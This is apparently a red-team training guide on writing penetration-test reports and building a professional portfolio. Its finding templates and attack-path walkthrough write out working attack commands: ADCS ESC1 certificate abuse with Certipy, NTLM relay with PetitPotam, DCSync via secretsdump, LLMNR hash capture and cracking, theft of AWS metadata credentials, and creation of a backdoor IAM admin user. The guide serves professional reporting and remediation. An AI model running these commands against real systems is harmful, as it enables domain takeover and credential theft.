Pillar 8: Reporting & Portfolio Development

BLUF: Technical skill without communication is invisible. Your report is the only artifact the client keeps. Your public portfolio is your job application. A red teamer who can't write is one who will never be hired, or trusted with a second engagement.

graph TB
    Start([Finding Documentation]) --> ExecSummary[Executive Summary Writing]
    ExecSummary --> TechReport[Technical Report Writing]
    TechReport --> Remediation[Remediation Framework Mapping]
    Remediation --> AttackPath[Attack Path Documentation]
    AttackPath --> PublicWriteup[Public Writeup Creation]
    PublicWriteup --> ToolRepo[Tool Repository Curation]
    ToolRepo --> Portfolio([Full Portfolio Development])
    style Start fill:#ff6600
    style Portfolio fill:#00aa00

MITRE ATT&CK Mapping Reference

Reporting requires mapping technical findings to the MITRE ATT&CK framework to provide context on attacker behavior and allow defenders to prioritize detections.

Action Item 1 — Finding Documentation [Beginner]

What you're building: A repeatable finding template that works for every vulnerability type — one that gives the technical reader enough to reproduce the issue and the developer enough to fix it, without requiring a back-and-forth. Good finding documentation is the foundation every other deliverable is built on.

Document individual findings with enough detail for both a technical reader and a developer to independently understand, reproduce, and remediate the issue.

Tactic: Evidence Capture & Risk Communication

Technique: Finding Anatomy — structure every finding the same way so the reader always knows exactly where to look for what they need.

Work through these phases for every finding before writing it up.

Phase 1 — Evidence Capture (During the Engagement)

# Web: capture raw HTTP requests and responses in Burp Suite
# Right-click → Copy to file → save .txt with finding ID in filename
# FINDING-01_sqli_login.txt

# Command-line: capture terminal output to a timestamped log
script -a /tmp/finding-01-$(date +%Y%m%d-%H%M%S).log
# Everything in the terminal is now logged until you type 'exit'

# Screenshots: annotate and crop immediately while context is fresh
# Mark the vulnerable element with a red box or arrow — reviewers shouldn't have to guess what to look at

# Network: save Wireshark captures for covert channels or unusual protocols
tshark -w /tmp/capture-c2-callback.pcap -i eth0 -f "host 10.10.10.5"

Phase 2 — Finding Triage & Severity Rating

# CVSS Quick Scoring Guide

| Severity | CVSS Range | Attack Vector | Complexity | Privileges | Interaction |
|---|---|---|---|---|---|
| Critical | 9.0–10.0 | Network | Low | None | None |
| High | 7.0–8.9 | Network | Low | Low/None | None |
| Medium | 4.0–6.9 | Network/Local | Low/High | Low | Required |
| Low | 0.1–3.9 | Local | High | Low | Required |

# Common Scoring Examples
# Unauthenticated RCE: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 (Critical)
# Kerberoasting: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H → 8.8 (High)
# LLMNR Poisoning: AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H → 8.0 (High)
# SMB Signing Disabled: AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H → 6.8 (Medium)

Phase 3 — Finding Write-Up Template

## Finding: [Descriptive Title — System + Vulnerability Type]
**Severity:** Critical
**CVSS 3.1:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**CWE:** CWE-89 (SQL Injection)
**Affected System:** app.contoso.com (10.10.10.5)
**MITRE ATT&CK:** T1190 — Exploit Public-Facing Application

### Description
[2-3 sentences: what the vulnerability is, where it lives, and how it works.]

### Evidence

[Raw HTTP request/response, or command + output. Include timestamp.]

### Impact
[Business impact language: "An unauthenticated attacker can exfiltrate the full customer
database (PII for ~500,000 users) or modify financial records."]

### Remediation
[Specific, actionable fix: "Upgrade login.php line 47 to use parameterized queries.
Reference: OWASP SQL Injection Prevention Cheat Sheet."]

### References
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- OWASP: https://owasp.org/www-community/attacks/SQL_Injection

Why: The raw HTTP request in the evidence section lets a developer reproduce the issue in 60 seconds without asking any questions. Missing it means a back-and-forth with the developer before they can even start fixing it — and a finding that doesn't get fixed is a finding that wasn't worth writing.

NOTE: Always include the raw HTTP request and response for web vulnerabilities. For AD findings, include the BloodHound attack path screenshot alongside the command output.

Action Item 2 — Executive Summary Writing [Beginner]

What you're building: A one-page document that a CISO can read in 5 minutes, understand fully, and use to make a budget decision. No jargon. No technical detail. Pure business risk.

Communicate engagement outcomes to non-technical stakeholders clearly and persuasively. The executive summary is often the only section the decision-makers will read.

Technique: High-Level Risk Communication — translate technical findings into business consequences.

Tools/Templates: Risk Heat Map, One-page summary template

Procedure:

# Executive Summary

## 1. Engagement Overview
[1 paragraph, 3 sentences max. State the scope, dates, and primary goal.
Example: "During November 2025, [Firm] conducted a 10-day internal red team assessment
against Contoso's corporate network (in-scope: all hosts in 10.0.0.0/8). The objective
was to simulate a post-phishing internal attacker achieving domain compromise."]

## 2. Overall Risk Rating: [Critical / High / Medium / Low]
[One sentence. Example: "Contoso's internal environment presents a **Critical** risk
posture — a motivated attacker with internal network access could achieve full
Active Directory compromise within 4 hours."]

## 3. Key Findings (3–5 bullets, business language only)
- **Full Domain Compromise Achieved:** Credential theft from a shared service account
  allowed escalation to Domain Admin, providing access to all 2,400 internal systems.
- **Sensitive Data Unprotected:** The finance database was accessible without authentication
  from any internal host, exposing 8 years of transaction records.
- **No Detection During 10-Day Engagement:** Contoso's SOC received zero alerts during
  the assessment, indicating significant gaps in detection coverage.

## 4. Strategic Recommendations (top 3–5)
- Implement MFA across all external-facing services within 30 days.
- Conduct an immediate audit of service account privileges and remove stale accounts.
- Deploy endpoint detection capabilities on all workstations and servers.

## 5. Risk Heat Map
| Severity | Count | Examples |
|---|---|---|
| Critical | 2 | Domain compromise, unprotected finance DB |
| High | 5 | LLMNR poisoning, ADCS ESC1, AS-REP roasting |
| Medium | 8 | SMB signing disabled, legacy protocols |
| Low | 12 | Information disclosure, banner grabbing |

Language & Tone Guidelines:

• Avoid Jargon: Use "unauthorized access" instead of "RCE" or "LFI". Use "password theft" instead of "Kerberoasting". Use "impersonated a domain admin" instead of "performed Pass-the-Hash".
• Focus on Business Risk: Talk about data breaches, regulatory fines (GDPR, HIPAA), reputational damage, and operational disruption.
• Be Concise: If it doesn't fit on one page, it's too long.
• Action-Oriented: Every risk statement should have a matching recommendation.
• No Dates in Titles: Executives forward reports — don't make it look stale with a specific engagement year in the title.

NOTE: The executive summary is often the only part of the report read by leadership. Keep it jargon-free and focused on business risk. Write it last — after you know all the findings — but put it first in the document.

Action Item 3 — Technical Report Writing [Intermediate]

What you're building: A complete, professional penetration test report — the kind that passes peer review, holds up to client scrutiny, and gets you invited back for the next engagement.

Produce a complete, professional penetration test report that provides the technical team with everything they need to understand and remediate every finding.

Technique: Full Engagement Documentation

Tools/Templates: TCM Security Template, OffSec Template, LaTeX, Pandoc

Procedure:

# Penetration Test Report Structure

1. **Cover Page:** Title, Engagement Dates, Author, Version, Classification (CONFIDENTIAL)
2. **Confidentiality Notice:** Legal disclaimer — who is authorized to view this document
3. **Executive Summary:** (see Action Item 2)
4. **Scope & Methodology:**
   - What was in scope (IP ranges, domains, excluded systems)
   - What was out of scope (e.g., no phishing, no DoS)
   - Testing methodology (PTES, OWASP, TIBER-EU)
   - Testing windows (hours, blackout periods)
5. **Finding Summary Table:** All findings sortable by severity
6. **Detailed Findings:** Full write-ups (see Action Item 1 template)
7. **Attack Narrative:** Chronological kill chain with timestamps (see Action Item 5)
8. **Appendices:**
   - A: Tools and versions used
   - B: Raw scan output (Nmap, BloodHound export)
   - C: Methodology notes and testing evidence log
   - D: Remediation roadmap with prioritization

Finding Summary Table:

Attack Narrative Structure:

• [Day 1, 09:14] Foothold: Initial internal access via simulated phishing — RDP session on WS-01.
• [Day 1, 09:31] Enumeration: BloodHound collection completed — 2,400 objects imported.
• [Day 1, 10:02] Credential Access: LLMNR poisoning captured NTLMv2 hash for svc-backup.
• [Day 1, 10:18] Lateral Movement: svc-backup password cracked (P@ssw0rd). RDP to FILE-01.
• [Day 1, 11:05] Privilege Escalation: ADCS ESC1 — obtained TGT as Administrator@contoso.com.
• [Day 1, 11:09] Objective Achieved: DCSync — all NTLM hashes extracted. Full AD compromise.

Why: A timestamped attack narrative makes it trivially easy for the blue team to replay the attack in their SIEM and identify which alerts fired (or didn't). It's also the most compelling part of the report for leadership — a concrete story of how the crown jewels were reached.

NOTE: Use a consistent heading structure and professional font. Version every report draft (v0.1, v0.2, v1.0 final). Share drafts as PDFs, not Word documents — formatting breaks across versions and looks unprofessional.

ADCS Finding Templates [Intermediate]

What you're building: Production-ready finding write-ups for the two most common ADCS misconfigurations encountered in enterprise engagements — saving 30–60 minutes per finding and ensuring technical accuracy.

ADCS misconfigurations are found in the majority of enterprise AD environments. These templates provide complete, accurate finding documentation for the two highest-severity scenarios.

ESC1 — SAN Abuse (Certificate Template Misconfiguration)

## Finding: ADCS Certificate Template Allows Subject Alternative Name Specification (ESC1)
**Severity:** Critical
**CVSS 3.1:** 9.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
**MITRE ATT&CK:** T1649 — Steal or Forge Authentication Certificates

### Description
The certificate template [TemplateName] has the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set
(`msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT`), allowing any authenticated domain
user to request a certificate with an arbitrary Subject Alternative Name (SAN), including that
of a Domain Administrator. The certificate can then be used for Kerberos PKINIT authentication
to obtain a TGT as the target user.

### Evidence

Identified via Certify

.\Certify.exe find /vulnerable
[!] Template Name: VulnerableTemplate
msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
Enrollment Rights: Domain Users

Exploited via Certipy

certipy req -u lowpriv@contoso.com -p Password1 -target ca.contoso.com
-template VulnerableTemplate -ca 'Contoso-CA' -upn administrator@contoso.com

[*] Certificate issued. Saved to administrator.pfx

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

### Impact
Any authenticated domain user can impersonate the Domain Administrator account and obtain a
TGT valid for Kerberos authentication. This provides full Active Directory compromise.

### Remediation
1. Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` from the template (`msPKI-Certificate-Name-Flag`)
2. Restrict certificate enrollment permissions — remove "Domain Users" enrollment rights
3. Enable CA Manager Approval for templates with elevated permissions
4. Monitor Event ID 4886 (certificate requested) and 4887 (certificate issued) for anomalies
5. Consider deploying Microsoft Defender for Identity — detects PKINIT anomalies

ESC8 — NTLM Relay to ADCS HTTP Enrollment

## Finding: ADCS HTTP Enrollment Endpoint Vulnerable to NTLM Relay (ESC8)
**Severity:** Critical
**CVSS 3.1:** 9.0 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
**MITRE ATT&CK:** T1649 — Steal or Forge Authentication Certificates

### Description
The ADCS Certificate Authority web enrollment endpoint (http://ca.contoso.com/certsrv/) does
not enforce HTTPS and lacks Extended Protection for Authentication (EPA). This allows an attacker
to coerce NTLM authentication from a domain controller (via PetitPotam/PrinterBug) and relay
those credentials to the CA enrollment endpoint, obtaining a certificate for the Domain Controller
computer account. The DC certificate can then be used to perform a DCSync attack.

### Evidence

Step 1: Start ntlmrelayx targeting the CA enrollment endpoint

ntlmrelayx.py -t http://ca.contoso.com/certsrv/certfnsh.asp -smb2support
--adcs --template DomainController

Step 2: Coerce DC authentication via PetitPotam

python3 PetitPotam.py -u '' -p '' attacker_ip dc01.contoso.com

[*] Received NTLMv2 from dc01$ → relayed to CA → certificate obtained

Step 3: Authenticate as DC and perform DCSync

certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
secretsdump.py -k -no-pass dc01.contoso.com

### Remediation
1. Enforce HTTPS on all CA web enrollment endpoints — disable HTTP
2. Enable Extended Protection for Authentication (EPA) on IIS for the CA endpoint
3. Disable NTLM on the CA server (require Kerberos authentication)
4. Enforce SMB signing on all domain controllers (prevents SMB relay as a backup)
5. Apply MS-EFSRPC mitigations (KB5005413) to block PetitPotam coercion

Cloud Misconfiguration Finding Templates [Intermediate]

What you're building: Accurate, complete finding templates for the two most common cloud misconfigurations found in AWS environments — immediately usable without needing to research remediation commands.

EC2 IMDS Without IMDSv2 Enforcement

## Finding: EC2 IMDS Does Not Require IMDSv2 (Token-Optionl Mode)
**Severity:** High
**CVSS 3.1:** 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
**MITRE ATT&CK:** T1552.005 — Unsecured Credentials: Cloud Instance Metadata API

### Description
Multiple EC2 instances are configured with IMDSv1 allowed (`HttpTokens: optional`). An attacker
with SSRF or code execution on the instance can retrieve IAM role credentials directly from
http://169.254.169.254/latest/meta-data/iam/security-credentials/ without any token. These
credentials allow privilege escalation within the AWS account.

### Evidence

From a compromised EC2 instance (or via SSRF):

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

→ InstanceRole

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/InstanceRole

→ AccessKeyId, SecretAccessKey, Token (valid for ~6 hours)

Affected instances (discovered via aws cli):

aws ec2 describe-instances --query
'Reservations[*].Instances[?MetadataOptions.HttpTokens==optional].[InstanceId,PrivateDnsName]'

### Remediation
1. Enforce IMDSv2 on all EC2 instances:
   `aws ec2 modify-instance-metadata-options --instance-id i-xxxx --http-tokens required`
2. Apply an account-level SCP to deny `ec2:RunInstances` without IMDSv2:
   `Condition: { "StringNotEquals": { "ec2:MetadataHttpTokens": "required" } }`
3. Enable CloudTrail logging for `GetCallerIdentity` and `AssumeRole` API calls
4. Review existing IAM role policies for over-permissive access (see next finding)

Overly Permissive IAM Role (Privilege Escalation Path)

## Finding: IAM Role Grants Excessive Privileges — Privilege Escalation to Administrator
**Severity:** Critical
**CVSS 3.1:** 9.1 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
**MITRE ATT&CK:** T1078.004 — Valid Accounts: Cloud Accounts

### Description
The IAM role `EC2-WebApp-Role` attached to public-facing EC2 instances includes `iam:*` and
`sts:AssumeRole` permissions. An attacker who obtains these credentials (via SSRF, IMDS access,
or environment variable exposure) can create a new IAM user with Administrator access, perform
privilege escalation, and establish persistent access to the entire AWS account.

### Evidence

Retrieved credentials via IMDS (see previous finding)

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

Enumerate role permissions

aws iam list-attached-role-policies --role-name EC2-WebApp-Role

→ arn:aws:iam::aws:policy/AdministratorAccess (attached)

Confirm privilege escalation path

aws sts get-caller-identity

→ "Arn": "arn:aws:sts::123456789012:assumed-role/EC2-WebApp-Role/i-..."

aws iam create-user --user-name attacker-backdoor
aws iam attach-user-policy --user-name attacker-backdoor
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess

### Remediation
1. Apply least-privilege — replace `iam:*` with only the specific IAM actions required
2. Remove `sts:AssumeRole` from instance roles that don't require cross-account access
3. Enable IAM Access Analyzer to identify over-permissive policies automatically
4. Deploy AWS Config rules to alert on roles with `iam:*` or `AdministratorAccess` attached
5. Require MFA for all AWS console access; enforce via SCP

Action Item 4 — Remediation Framework Mapping [Intermediate]

What you're building: A structured mapping that helps your client justify security budget by connecting your findings to the compliance and regulatory frameworks their board already cares about.

Map findings to MITRE ATT&CK, NIST CSF, and CIS Controls for structured remediation guidance.

Technique: Control & Mitigation Correlation

Tools/Templates: MITRE ATT&CK, CIS Controls v8, NIST CSF 2.0

Procedure:

### Remediation Mapping Table
| Finding | MITRE Technique | CIS Safeguard | NIST CSF | Effort |
|---|---|---|---|---|
| ADCS ESC1 | T1649 | 4.1: Secure Config Process | ID.AM-3 | Medium |
| Kerberoasting | T1558.003 | 5.2: Unique Passwords | PR.AC-1 | Low |
| LLMNR Poisoning | T1557.001 | 4.1: Disable LLMNR/NBT-NS | PR.AT-2 | Low |
| SQL Injection | T1190 | 16.11: Secure Coding | PR.IP-2 | High |
| Weak IAM | T1078.004 | 6.8: Define and Maintain Role Based Access | PR.AC-4 | Medium |
| SMB Signing Off | T1187 | 3.10: Encrypt Sensitive Data in Transit | PR.DS-2 | Low |

Remediation Roadmap:

1. Immediate (0–30 days): Disable LLMNR/NBT-NS, enforce SMB signing, patch ADCS templates, enforce IMDSv2.
2. Short-term (30–90 days): Implement MFA on all external services, rotate service account passwords, audit IAM roles, deploy endpoint detection.
3. Long-term (90+ days): Move to zero-trust architecture, implement tiered admin model, deploy ADCS auditing (Event IDs 4886/4887), conduct purple team exercise to validate detection improvements.

Prioritization Matrix:

• Critical: Fix within 24–48 hours. Immediate threat to core operations or data.
• High: Fix within 7–14 days. Significant risk of compromise or data loss.
• Medium: Fix within 30–60 days. Potential for limited disruption or escalation.
• Low: Fix as part of regular maintenance cycle. Minor security improvements.

NOTE: Mapping to frameworks helps the client justify budget by showing how your findings align with industry standards and regulatory requirements (SOC 2, ISO 27001, DORA, NIS2). Clients with compliance obligations respond better to "this violates CIS Control 5.2" than "this is a weak password."

Action Item 5 — Attack Path Documentation [Intermediate]

What you're building: A clear, reproducible visual attack path that a blue team can follow step-by-step to replay the engagement in their SIEM, validate detections, and understand exactly where controls failed.

Produce clear, reproducible attack path diagrams that show the full kill chain from initial access to objective.

Technique: Visual Kill Chain Mapping

Tools/Templates: Mermaid, draw.io, BloodHound

Procedure:

graph LR
    A([Initial Access: Phishing — WS-01]) --> B[Enumeration: BloodHound collection]
    B --> C[Credential Access: LLMNR poisoning → svc-backup hash]
    C --> D[Lateral Movement: RDP to FILE-01 — svc-backup]
    D --> E[Escalation: ADCS ESC1 → Admin TGT via PKINIT]
    E --> F([Objective: DCSync — full AD compromise])
    style A fill:#ff6600
    style F fill:#ff0000

Step-by-Step Replication Template:

1. Step 1: Initial Access

   • Technique: Simulated phishing (LNK file)
   • Command: (simulate initial access via agreed method)
   • Output: RDP session established as contoso\jsmith on WS-01 (10.0.1.50)
   • Note: No EDR alert generated

2. Step 2: Credential Access — LLMNR Poisoning

   • Technique: LLMNR/NBT-NS poisoning (T1557.001)
   • Command: responder -I eth0 -dwv
   • Output: [*] NTLMv2 hash captured: svc-backup::CONTOSO:...
   • Command: hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
   • Output: svc-backup:Password1! (cracked in 8 seconds)

3. Step 3: Lateral Movement

   • Technique: Valid Accounts — Lateral Movement (T1078)
   • Command: xfreerdp /u:svc-backup /p:Password1! /v:FILE-01.contoso.com
   • Output: RDP session on FILE-01 (10.0.1.20)

4. Step 4: Privilege Escalation — ADCS ESC1

   • Technique: Steal or Forge Authentication Certificates (T1649)
   • Command: certipy req -u svc-backup@contoso.com -p Password1! -template VulnerableTemplate -ca Contoso-CA -upn administrator@contoso.com
   • Output: administrator.pfx — certificate for Administrator

5. Step 5: Objective — DCSync

   • Technique: OS Credential Dumping: DCSync (T1003.006)
   • Command: certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5 then secretsdump.py -k -no-pass contoso.com
   • Output: All NTLM hashes for 847 domain accounts

Choke Point Identification:

• Choke Point 1: LLMNR enabled network-wide. Disabling eliminates this entire credential access path.
• Choke Point 2: ADCS template misconfiguration. Fixing the template removes the privilege escalation path.
• Choke Point 3: No detection at any step. Deploying MDI and endpoint detection would alert on PKINIT anomalies and BloodHound collection.

NOTE: A blue team should be able to replay your entire attack path using only this section. Every command should be exact and every output should be real (sanitize sensitive data, don't fabricate it).

Engagement Debrief Structure [Intermediate]

What you're building: A structured debrief process that ensures findings actually get actioned — the written report is reference material, but the debrief is where security posture actually changes.

The written report is what the client keeps. The debrief is what they act on. Two separate sessions, two separate audiences.

Executive Debrief (30 minutes — CISO, CTO, Board representative):

1. Scope Reminder (2 min): What was tested, what was not in scope
2. Overall Risk Posture (5 min): One clear verdict — Critical/High/Medium
3. Top 3 Findings (10 min): Business consequence language only — no acronyms, no CVE numbers
4. Crown Jewel Status (5 min): Were the agreed-upon crown jewels reached? How long did it take?
5. 90-Day Roadmap (8 min): Three prioritized, budgeted remediation tracks

Technical Debrief (60–90 minutes — Security team, IT leads, developers):

1. Full Attack Path Walkthrough (20 min): Live replay in SIEM or screen share of terminal output
2. Detection Gap Analysis (15 min): What fired? What should have fired but didn't? Why?
3. Finding Deep-Dive (30 min): Each finding — technical explanation, reproduction steps, fix guidance
4. Purple Team Recommendations (10 min): Specific detection rules or queries the blue team should add
5. Q&A (open): Leave time for the technical team to ask questions about techniques

Why: The written report is a reference document — clients file it and return to it when budgeting or planning. The debrief is where learning happens. A skilled red teamer who can explain their techniques clearly in a debrief is worth 2x a technician who only writes.

Action Item 6 — Public Writeup Creation [Advanced]

What you're building: A public body of work that establishes your expertise, gets referenced by other professionals, and serves as a concrete demonstration of skill to potential employers — better than any resume.

Write and publish high-quality technical writeups that demonstrate expertise and build public reputation.

Technique: Technical Thought Leadership

Tools/Templates: Obsidian, Hugo, Jekyll, GitHub Pages

Procedure:

# Writeup Structure: [Machine Name / Technique Name]

## 1. Context
[Brief intro: what is this target or technique? Why does it matter?
2-3 sentences. Don't pad it.]

## 2. Approach
[How you thought about the problem. What failed first?
The learning is in the failures — don't skip them.]

## 3. Technical Depth
[The core of the writeup. Exact commands, exact output, exact reasoning.
Annotated screenshots for visual steps. Don't summarize — show the work.]

## 4. Key Learning
["The 'aha!' moment" — what would you do differently next time?
What should others take away? One clear lesson.]

## 5. References
[Links to tools, CVEs, documentation, and research you relied on.]

SEO & Audience Calibration:

• Descriptive Titles: "ADCS ESC1 to Domain Admin in 4 Minutes" beats "Certificate Abuse Writeup"
• Technique Headers: Use H2/H3 for specific techniques (e.g., "PKINIT Authentication Abuse") — these get indexed and drive organic search traffic
• Assume Literacy: Don't explain nmap flags unless they're unusual. Focus on the logic, not the syntax.
• Visuals: Annotated screenshots > walls of text. Blur hashes and IP addresses from real engagements.
• Timing: HTB machine writeups only after the machine is retired — check the rules.

Platform Selection:

• Personal Blog (Hugo/Jekyll): Best for long-term SEO, ownership, and formatting control
• Medium: Good initial reach, but SEO degrades over time and you don't own the content
• GitHub Gist: Quick and easy for code-heavy snippets or short technique notes
• HTB Forums: Targeted audience for machine writeups; builds community reputation
• LinkedIn Articles: Good for professional visibility and recruiter reach

NOTE: Write for the reader who is one level below you. Don't explain cd — do explain why you chose this injection technique over the obvious one, and what you noticed in the error output that made you pivot.

Action Item 7 — Tool Repository Curation [Advanced]

What you're building: A public GitHub presence that demonstrates coding ability through original tools — not forks, not scripts, but actual tools with documentation, a demo, and real-world utility that other practitioners will actually use.

Build and maintain a public GitHub repository of original offensive tools that demonstrates coding ability and domain expertise.

Technique: Open Source Project Management

Tools/Templates: GitHub, README.md, MIT License, asciinema

Procedure:

# [Tool Name] — [One-line description]
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)

## Description
[2-3 sentences: what the tool does, the problem it solves, and why existing tools don't solve it.]

## Installation
```bash
git clone https://github.com/user/tool
pip install -r requirements.txt

Usage

python tool.py --target 10.10.10.10 --attack kerberoast --output results.json

Demo

![Terminal demo GIF — keep under 30 seconds]

Why This Tool Exists

[One paragraph: what gap in the existing tooling does this fill?
E.g., "Existing tools require admin rights for X. This tool achieves the same result from a low-privileged context by ..."]

License

MIT

**Documentation Standards:**
- **Docstrings:** Use Google-style docstrings for all functions — single source of truth for what each function does and what it returns
- **Comments:** Explain the *why*, not the *what*. "# Use APC injection here because CreateRemoteThread is hooked" > "# inject the shellcode"
- **CHANGELOG.md:** Maintain following "Keep a Changelog" format — versions, dates, Added/Changed/Fixed sections
- **Sample Output:** Provide a `sample.log` or `output.json` for users to test parsing or understand output format without running the tool

**Demo Artifact Requirements:**
- **GIFs:** Use `asciinema` for terminal demos. Convert to GIF with `agg`. Keep under 30 seconds.
- **Screenshots:** High resolution, cropped to relevant content, clearly annotated with arrows or boxes
- **Infrastructure:** If your tool requires a specific lab setup, provide a `docker-compose.yml` for instant reproduction

> **NOTE:** A clean README with a working demo GIF is more likely to get stars and attract employers than a repo with better code and no documentation. The README *is* the product for open source tools.

---

### Action Item 8 — Full Portfolio Development `[Operator]`

> *What you're building:* A coherent professional identity — a portfolio that tells a single clear story and provides concrete evidence of the claim you're making about yourself as a practitioner.

Build a complete, cohesive public portfolio that positions you for a red team operator role.

**Technique:** Professional Brand Building

**Tools/Templates:** LinkedIn, Personal Blog, GitHub Profile

**Procedure:**
```markdown
### 90-Day Content Plan

- **Month 1:**
  - Publish 2 technical writeups on retired HTB machines (focus on AD techniques)
  - Update LinkedIn with current certifications, skills, and a portfolio link
  - Pin your best GitHub repo to your profile

- **Month 2:**
  - Release 1 original tool or significant update to an existing one
  - Write 1 technique deep-dive (not machine-specific — evergreen content)
  - Engage in 3 community discussions (GitHub issues, Discord, blog comments)

- **Month 3:**
  - Audit all public profiles for consistency (handle, bio, photo, contact)
  - Contribute to one open-source offensive security project
  - Write a "lessons learned" post from a recent engagement concept (sanitized)

Portfolio Audit Checklist:

• Consistency: Blog, GitHub, and LinkedIn use the same professional handle and bio
• Narrative: Bio clearly states your focus ("Red Team Operator specializing in AD exploitation and payload development")
• Accessibility: Best writeups are pinned on blog or GitHub — a recruiter can find them in 10 seconds
• Contact: Easy for a recruiter to find your email or LinkedIn direct message
• Freshness: At least one post or commit in the last 30 days
• Depth: At least one writeup that demonstrates deep technical understanding (not just a walkthrough)
• Breadth: Content spans at least 2 of the 8 pillars (e.g., AD exploitation + EDR evasion)

Narrative Cohesion:

• The Story: "I am a specialist in Active Directory exploitation and Windows payload development."
• The Evidence: Certs (CRTO, OSCP), Tools (original tooling on GitHub), Writeups (AD attack chains, ADCS abuse).
• The Proof: Active GitHub contributions (green squares), community presence, engagement with others' work.
• The Goal: Every piece of content should reinforce the same professional identity — no scatter.

NOTE: Consistency beats volume. One high-quality, technically deep writeup per month outperforms five surface-level posts per week. Quality content gets referenced by others — that's the signal employers look for.

Public Portfolio Checklist

• Blog / digital garden with 5+ technical writeups published
• GitHub with 2+ original offensive tools (not forks)
• At least 2 certifications visible (CRTO, OSCP, CRTE, CRTL, or equivalent)
• HTB or THM profile showing medium/hard machine completions
• LinkedIn updated with red team-specific skills and certs
• At least 1 CVE, bug bounty, or responsible disclosure credit
• Active community presence (Discord, GitHub contributions)
• One "signature" writeup or tool that gets referenced by others

Resources

Part of the Red Teaming 101 series.